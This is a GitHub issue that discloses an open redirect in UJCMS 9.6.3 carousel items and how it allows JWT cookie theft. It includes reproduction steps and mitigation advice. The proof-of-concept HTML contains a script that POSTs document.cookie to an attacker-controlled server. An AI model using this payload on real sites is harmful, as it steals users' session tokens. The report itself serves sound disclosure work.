Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open Redirect Vulnerability in UJCMS 9.6.3 Leads to JWT Theft #10

Open
cydtseng opened this issue Dec 12, 2024 · 0 comments
Open

Open Redirect Vulnerability in UJCMS 9.6.3 Leads to JWT Theft #10

cydtseng opened this issue Dec 12, 2024 · 0 comments

Comments

@cydtseng
Copy link

Description:

A URL redirection vulnerability exists in UJCMS 9.6.3 due to improper validation of URLs in the upload and rendering of new block / carousel items. This vulnerability allows authenticated attackers to redirect unprivileged users to an arbitrary, attacker-controlled webpage. When an authenticated user clicks on the malicious block item, they are redirected to the arbitrary untrusted domains, where sensitive tokens, such as JSON Web Tokens, can be stolen via a crafted webpage.

Affected Component:

  • Endpoint: /cp/#/content/block-item
  • Application Version: 9.6.3

Type of Vulnerability:

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

Impact:

  • Open Redirect: Users can be redirected to an attacker-controlled domain when interacting with a maliciously uploaded block item.
  • JWT Theft: Sensitive tokens such as jwt-access-token can be exfiltrated from authenticated users who are redirected to the attacker's domain.

Steps to Reproduce / PoC:

  1. For local testing, log in to the backend and navigate to http://localhost:8080/cp/#/content/block-item/.
  2. Start a malicious Python server on localhost:8888 and wait for cookie exfiltration.
  3. Upload a new block / carousel item with a malicious URL pointing to an attacker-controlled webpage (e.g., http://localhost:5000/evil.html).
  4. On the attacker's server (e.g., localhost on port 5000), host the following malicious HTML to capture the document cookie:
<!DOCTYPE html>
<html>
  <body>
    <script>
      fetch("http://localhost:8888", {
        method: "POST",
        mode: "no-cors",
        body: document.cookie,
      });
    </script>
  </body>
</html>
  1. After uploading the block item, authenticate as another user and navigate to the home page where the carousel is displayed. Click on the malicious block / carousel item.
  2. Observe the redirection to http://localhost:5000/evil.html and the exfiltration of the jwt-access-token to the attacker’s server (in this case, localhost:8888).

Root Cause:

The application fails to validate and sanitize URLs provided during block item creation. This allows attackers to input arbitrary URLs that redirect users to malicious attacker controlled domains. Additionally, the lack of HttpOnly flag on sensitive cookies such as jwt-access-token allows JavaScript to access these tokens, exacerbating the impact.

Mitigation Recommendations:

  1. URL Validation:
    Implement strict validation for URLs provided in block items. Ensure URLs are restricted to trusted domains and use a whitelist approach.

  2. Secure Cookie Attributes:
    Set the HttpOnly flag on sensitive cookies to prevent access via JavaScript. Use the Secure flag to restrict cookies to HTTPS connections.

  3. Content Security Policy (CSP):
    Enforce a CSP to prevent the execution of inline JavaScript and restrict resource loading to trusted domains.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant